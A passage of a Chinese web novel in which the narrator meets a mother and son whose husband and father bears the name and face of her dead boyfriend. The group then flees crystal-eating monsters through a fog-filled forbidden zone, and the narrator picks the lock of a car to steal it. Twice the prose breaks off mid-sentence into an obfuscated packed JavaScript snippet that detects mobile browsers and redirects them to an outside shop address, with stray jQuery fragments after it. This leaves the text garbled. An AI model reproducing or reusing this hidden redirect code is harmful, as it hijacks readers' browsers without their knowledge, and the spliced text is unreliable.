“还好就它一个能出来。”喻清月吐出一口气,声音终于松了下来,“不然真不知道要霍霍死多少人。” 我拧紧油门回到楼内。 “真的……谢谢你们救了我和孩子。”女人的眼眶通红,“我叫梁敏,这是我儿子。” “姐姐,我叫何秀言。谢谢你救了我妈妈。”小孩擦了擦眼睛,抬头看着我。 我笑了笑,伸手揉了揉他的头,掌心能感觉到他还没完全止住的轻微颤抖。 “我叫晨晨。现在已经没事了。” “刚才秀言给我看了项链里的照片,那位先生,是……?”我看向梁敏。 她愣了一下,下意识低头看了眼那条项链,指腹摩挲着盖子边缘。 “是我老公。” “请问他叫什么名字。” 我是随口一问。 就算孩子姓何,世界上同姓的人也多了去了,怎么可能…… “何彦明。” 梁敏几乎没有犹豫。 她抬起头,看向我,眼里带着一丝迟疑的探究。 “你认识我老公?” 我突然脑子里一片空白,所有“不可能”的念头,在她那一句平静的确认里,瞬间失去了支点。 我看向队友,他们脸上的表情,和我此刻的心情几乎一模一样。 “晨晨,这……”丁黎梓凑过来,又低头把那张照片看了一遍,“咱们几个都是见过你男朋友的,这照片里的人……” “除了留了胡子、年纪看着大点,真的就是一模一样。” 空气顿时僵住。 “什么?”梁敏的脸色一下子白了,“难道我老公……” “不,不是。”我立刻打断她,“只是长得像。” 我稳住语气:“我已故的男朋友,和你老公长得像而已。” 梁敏却怔怔地看着我,显然并没被完全说服。 “可他也叫何彦明啊!”丁黎梓脱口而出。 我转头无力地看了他一眼。 大哥,你真的闭嘴吧,你平时在公司的情商都喂了狗吗? “我能冒昧问一下……何先生是做什么工作的么?”我尽量让语气听起来平和。 梁敏愣了一下,还是回答了:“他全职炒股。” “那……他是不是用您的身份开户,绑定您的银行卡在操作?” 梁敏的表情,肉眼可见地变了。 先是疑惑,接着是警惕,最后只剩下难以掩饰的震惊。 “对,没错。” 她盯着我,“你怎么会知道这些?” 何彦明也是没有正式工作,他靠写小说赚钱,一样,也是用的我的身份证开的作者号,银行卡也是绑定我的。 每个月雷打不动万八千,他说是给我的保障。 我脑海里不受控制地浮现出那张熟悉的脸,同样的名字,同样的“无业”,同样习惯躲在别人身份背后,把金钱、名誉,甚至人生,一并推给身边最亲近的人。 这已经不是“巧合”两个字,能轻易带过的程度了。 喻清月察觉到我的不对,伸手轻轻按住我的手腕。 她没说话,但那一下力道,像是在提醒我:先稳住。 “没什么。”我压下心里的翻涌,把情绪收回去,“我这有水,先喝点吧。” 我把水递过去。 梁敏愣了一下,连声道谢,拧开瓶盖,和孩子一起仰头猛灌。 他们没有再追问我刚才的问题。 也许是劫后余生,让人暂时失去了追根究底的力气。 赵美铭忽然开口:“你们的晶核呢?” 梁敏下意识把孩子往怀里揽了揽,眼神愧疚。 “我们……没有采集到晶核。” “拾骸者之渊太深了,我们下不去。” 孩子的手紧紧抓着她的衣角。 为了弄清楚这两个“何彦明”之间到底有没有联系,我在心里权衡了很久,终于开口: “如果。” “我是说如果,我们有多余的能源晶核。” 梁敏猛地抬头。 “在确保我和队友都能顺利登船的前提下,剩下的,可以给你们用。” 梁敏的眼睛一下子红了,条件反射般站起来,对我不停地鞠躬。 “谢谢……真的谢谢你。” “不管给多少,我们都感激你……真的……” 孩子也学着她的样子,笨拙地弯下腰,小声说:“谢谢姐姐。” 其实我并不是好心,我只是想要个答案罢了。 “登船码呢?”我追问道,“你们都有吗?” 梁敏僵了一下,随后慢慢抬起手来,只亮出了一枚芯片的投影。 “……就一个。另一个被夺走了。” “被谁?”我立刻问。 她深吸了一口气,像是强迫自己回忆那一幕。 “一个戴眼镜的男人,说话有点结巴,穿着束脚裤,脚上是耐克板鞋。” “他趁着人多混乱,用刀挟持了我儿子,逼我把登船码转给他。” 丁黎梓先是一愣,眼珠转着,开始在脑子里拼图。 “说话结巴……戴眼镜……束脚裤,耐克板鞋……” 他拍了下大腿,“诶!我想起来了!我们被卷进游戏那天——我在公司楼下看到的,咱们领导不就穿的这一身吗?” “对诶!”赵美铭立刻接上,“他戴眼镜,而且不管说啥都结巴!” 几个人的视线同时落在我身上。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095885|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们看我干嘛?”我被他们盯得发毛,失笑了一下,“不会是想让我现在就去把他崩了吧?” “说实话,真崩了也不是不行。但问题是,都这个时候了,他的登船码大概率已经完成基因绑定了,就算拿回来,也没法用。”我摊手。 丁黎梓想了想,点头:“emmm……你这么一说,确实。” 我抬头看了眼远处被围栏和废墟切割开的路线:“只能走一步看一步了。反正我们本来就要穿过那个禁区才能登船。” “路上要是真有人被怪物弄死了,就顺手确认一下,看有没有还没绑定基因的登船码,能用就转过来。” 我又替他们母子找来了两个防毒面具,这一晚我们没有再冒险,只是轮流守夜,在废弃大楼里勉强休整。 第二天清晨,我们整理好装备,背上晶核和物资启程。 这一路异常安静。 没有怪物的嘶吼,也没有其他玩家的脚步声,仿佛整片禁区被人刻意清空,只剩下我的呼吸声回荡。 我和喻清月背着沉甸甸的晶核,步伐放得很稳,丁黎梓和赵美铭走在最前面探路,林修玊压在队伍最后,随时警戒。 雾气很快涌了上来,像湿冷的棉絮贴在皮肤上,视线被一点点吞没。 咕碌碌—— 有什么东西滚了过来。 丁黎梓先是弯腰看了一眼,下一秒猛地直起身往后退了半步。 “你踩到我了,小心点。”我推了他一下。 “不,不是……”他手指颤着指向地面,“你们看……” 躺在地上的,是一颗人头。 头发凌乱,眼睛还睁着,血迹在地面拖出一道暗色的痕迹。 梁敏倒吸一口气,把秀言抱进怀里,捂住了他的眼睛。 【注意:禁区深处出现未知数量噬晶体,可能面临即时威胁。】 系统提示音响起。 “即时威胁?什么即时威胁?!” “呵呵呵呵……” 那颗人头竟忽然转了过来。 脖颈以下早已晶化断裂,断面处嵌着一圈血色晶核,像一只畸形的花盘,托着那张扭曲的脸。 “为什么……为什么是我这么倒霉,被噬晶体晶化……” 它的眼球不自然地转动着,视线死死黏在我们背后的背筐上。 “你们……你们带了好多晶核啊。” 声音忽然变得尖细而兴奋。 “你们好幸运啊……” 它的表情骤然狰狞。 “那你们……也得死!!!” 人头猛地张嘴,浓稠的灰白色毒雾从口腔深处喷涌而出,地面剧烈震动,像是有什么东西被唤醒了。 咚。 咚、咚、咚。 脚步声从雾中四面八方逼近。 “是噬晶体!”我低喝一声,“它在召集同类!” 远处雾气翻滚,一道道畸形的轮廓浮现出来。 它们的胸腹裂开,喷吐着胞毒雾气。 “跑!”我吼道。 我们转身狂奔,可就在这时,系统提示毫无预兆地在视野中弹出: 【警告:已被“噬晶体集群”标记】 【晶核携带量过高,威胁等级:优先】 “啊……”秀言被一只细长的手死死掐住脖子。 37.第37章 “啊啊!秀言!!”梁敏失控地要扑上去。 我一把拽住她,抽刀砍断噬晶体的手臂。 丁黎梓接住秀言,转身就跑。 雾气翻滚起来,脚步声从四面八方逼近,不止一只。 那些噬晶体像是被惊动的群居生物,低沉而杂乱的“咔咔”声在雾中回荡。 “别回头!别回头!”赵美铭声音发抖。 可我还是忍不住回头看了一眼。 那颗最先出现的人头,正半埋在地里,脸上露出贪婪的狂喜。 它张着嘴,晶化的舌头一下一下敲击着牙齿: “晶核……在你们身上……标记了……” 【警告:噬晶体“感知链接”已建立】 【部分成员:晶化污染判定中……】 我低头看向秀言,他小小的身体在丁黎梓怀里发抖,眼睛半睁着。 他脖颈被掐过的地方,皮肤下隐约浮现出一点晶光。 噬晶体……正在制造同类? 我们还是退回了原来的地方。 一路上,不少人徘徊在禁区边缘,远远打量着那片雾气和围栏,显然在权衡要不要进去。 可当他们看到我们狼狈的样子,眼神里的犹豫立刻变成了退缩。 “看样子暂时进不去了。”赵美铭低声说。 我点了点头。 刚才那一幕已经很清楚了,噬晶体不是零散个体,而是被晶核吸引的群体存在。人少进去,只会被当成移动的晶核容器。 “等人多点,一起走,至少能多点人吸引它们注意力。”我说,“而且,得找辆车,之前那车没油了。” “对,步行太慢了。”林修玊补了一句,“一旦被盯上,根本跑不过。” 我摸了摸背后的晶核筐,沉甸甸的重量提醒着我一件事,现在的我们,对噬晶体来说,就是会移动的盛宴。 停车场静得像座坟场。 几十辆车趴在广场上,锈迹斑斑,没人动。所有人都在等,等第一个去死的。 我没靠近车,退到二楼断墙后,看了看附近的情况。 两伙人围住那辆改装越野,手扣着扳机。 有几个人在游荡,眼睛盯着别人腰包。阴影里还贴着一两个独狼。 没人看那辆灰车。 漆掉光了,玻璃碎了一半,像是从垃圾堆拖出来的废铁。 玻璃碎了的话,没有面罩的人就不会打这辆车的主意。 可我看见了新轮胎。 底盘没锈穿,后窗贴着钢板。 我捡起半块砖,抡圆胳膊,朝反方向的废卡车狠狠砸去。 巨声响起的同时,我抬腕,用破镜片把刺眼的光斑精准甩在越野车挡风玻璃上。 “操!他们想抢车!” “开枪!别让他们动!” 人群开始混乱,我弓身,从两辆报废厢货中间钻过,贴着墙根的阴影疾走。灰车就在十五米外。 脚步声被身后的怒骂和撞击声吞没。 锁孔生锈,铁丝插进去有些滞涩。我屏住呼吸,时不时观察四周,极细微地左右拧转。 咔。 拉开车门,钻进驾驶座,没点火,挂空挡,借着下坡让车身无声滑出。 轮胎碾过碎玻璃,发出细碎的、像昆虫啃噬的轻响,拐过断墙的瞬间,我踩下油门。 引擎咆哮着,后视镜里,人群已经撕咬在一起。我抛出去的那小袋抗生素,像一滴血落进鲨鱼池。 枪响了,有人惨叫。 我无视身后的屠场,趁乱开回了我们栖身之处。 秀言虽然第一时间被救下,但离噬晶体太近,晶化还是开始了。 指尖最先发硬,晶体从骨头里往外顶。 系统没有给出方舟的开舱时间,所以我们决定拖到最后一天再动,让更多人先引走噬晶体的注意力。 可这也是一场赌局,拖得越久,噬晶体也可能越多。 倒计时最后一天,我抬头看了一眼天空。 “面罩检查。” 我一一确认,发动引擎,油门踩死。 车头狠狠撞向破洞的铁网,我们冲进了禁区。 视野几乎为零,我不知道撞翻了多少东西——是噬晶体,还是早就晶化的尸体。 惨叫声从雾里传来,又迅速被吞没。 闯入禁区的也不止我们一辆车。 引擎声此起彼伏,很快又一个个消失。 噬晶体被这轰鸣声吸引了。 车身开始发出细微的脆响,像冰层在裂,仪表盘闪了几下,速度一点点往下掉,车只能是能开多远是多远。 雾里,有东西贴了上来。 方向盘开始发涩,我感觉车在变重。 “下车!”我冲队友喊,“一直往前跑!别回头,别管任何人,听清楚了吗!” 车彻底停死。 我们同时跳下车,雾浓得像一堵墙,只能认准一个方向狂奔。 跑着跑着,脚步声开始变少。 再跑几步,我身边只剩下秀言和梁敏。 其他人,全都不见了。 雾里忽然传来一声闷响,我看到前方,一个人被噬晶体拎着头按向自己胸腹。 噬晶体的口器张开,浓雾喷出。 那个人的眼睛对上了我。 他嘴唇发抖,像是想向我求救。 我瞥见他额头的积分—— 不到二十。 我救不了他。 可我还是一刀斩断噬晶体的手臂。 那人摔在地上,身体抽搐着,晶化已经从脖子往上爬。 我不敢再看他的眼睛。 我真的已经做到极限了。 正要转身跑,脚踝却猛地一紧,我失去平衡,重重摔在地上。 回头看,是他。 那个人死死抓着我的脚,手指已经开始晶化。 “面罩……” 他的喉咙发出漏气一样的声音,“给我……面罩……救我……” 我低吼:“放手!你现在的晶化速度,已经没救了!” 他却更用力了。 我背上的晶核在晃,雾里已经传来拖拽声——噬晶体在靠近。 我狠狠踩向他的手。 一下。 两下。 没用。 我忽然明白了,他知道自己没救了,他只是不想一个人死。 我咬牙,举刀刺下。 刀尖撞在晶化的手背上,插不进去。 雾中传来更近的嘶鸣声,再拖一秒,倒下的就会是我、梁敏、还有秀言。 “秀言,梁敏,你们先走!”我抬头喊。 “可……可……”秀言回头看我,又看向梁敏,眼眶发红。 梁敏死死咬着嘴唇,只看了我一眼,什么都没再说,转身抱起秀言就跑。 “对不起,晨晨……” 她的声音被雾吞掉了。 我用力拽脚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103839|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拽不动。 那只晶化的手像焊死在我身上。 雾里传来拖地的声响,还有低沉的喘息,过来的不止一个。 对!脱鞋! 我弯腰去解鞋带,指尖的动作却慌乱得不像是自己的,怎么都解不开。 脚步声更近了。 有什么东西撞上了路边的废弃铁桶,发出刺耳的声响。 我猛地一扯,鞋终于松了。 就在我往后缩脚的一瞬间,那只手突然用力,把我整个人往前拖了一下。 我重重磕在地上,视野一黑。 雾中,有影子站了起来。 是噬晶体,它们已经看到我了。 我顾不上鞋,赤脚蹬地,脚拖着那个人拼命爬。 突然头皮一紧,我被拽得猛地后仰,颈椎“咔”地一声。 我知道,我被噬晶体抓到了。我想都没想,直接用刀砍断头发继续往前爬。 可下一秒一只冰冷的手按住了我的后脑。 砰。 我的脸被狠狠压在口器前,看着它在我面前张开,胸腹处裂成一圈不规则的晶核,像齿一样,一张一合。 咔。 它咬住了我的面罩。 震动从脸骨一路传到脑子里。 面罩的裂纹在视野边缘蔓延。 【警告:窃生胞毒暴露等级提升】 【晶化速率:7%】 我屏住呼吸,肺却已经开始灼痛。 不行。 再被咬一次,面罩就会碎。 我把刀横着塞进它的口器里,用尽全力往外撬。 晶核被卡住,发出刺耳的摩擦声。 噬晶体低吼了一声,猛地甩头。 可它死死咬着我的面罩,挣脱不开。 突然砰地一声。 一个人拿着枪打穿了噬晶体。 我得救了! 我看向那个人,被那无比熟悉的脸惊讶住了。 是那种我闭着眼都能描摹出来的轮廓。 他只是扫了我一眼,甚至没有多余的情绪。 下一秒,他转身就跑。 我撑着地想喊,却发现喉咙干涩地发不出声。 我眼睁睁看着他冲向前方的雾气,看见梁敏的身影踉跄着停下,看见她在看清那张脸的一瞬间眼泪流了下来。 “彦明——” 他一把抱住了她。 秀言被夹在两人中间,先是愣住,然后哇地一声哭了出来,小手死死抓住他的衣服。 “爸爸……” 我后背冰凉,脑子像被人灌进了沸水。 是啊,他不是我认识的何彦明…… 我认识的何彦明,不会对我露出那样陌生疏离的眼神。 他抱着他们,抬头看了看天上的倒计时,又低头快速说了些什么。 【警告:晶化速率上升】 【当前:9%】 没有噬晶体再扑上来,我终于挣脱了那只手。 我翻身站起,调整了下损坏的面罩,强迫自己稳住呼吸,不要吸入过多雾气。 “谢谢你救了我,何先生。” 我拉下面罩边缘,目光只在梁敏和秀言身上停了一会儿,“我们得立刻走。” “晨晨,我才应该谢谢你。”他冲我笑了笑,“谢谢你救了我老婆和孩子。” ……? 我脚步一顿。 梁敏什么时候告诉过他我的名字?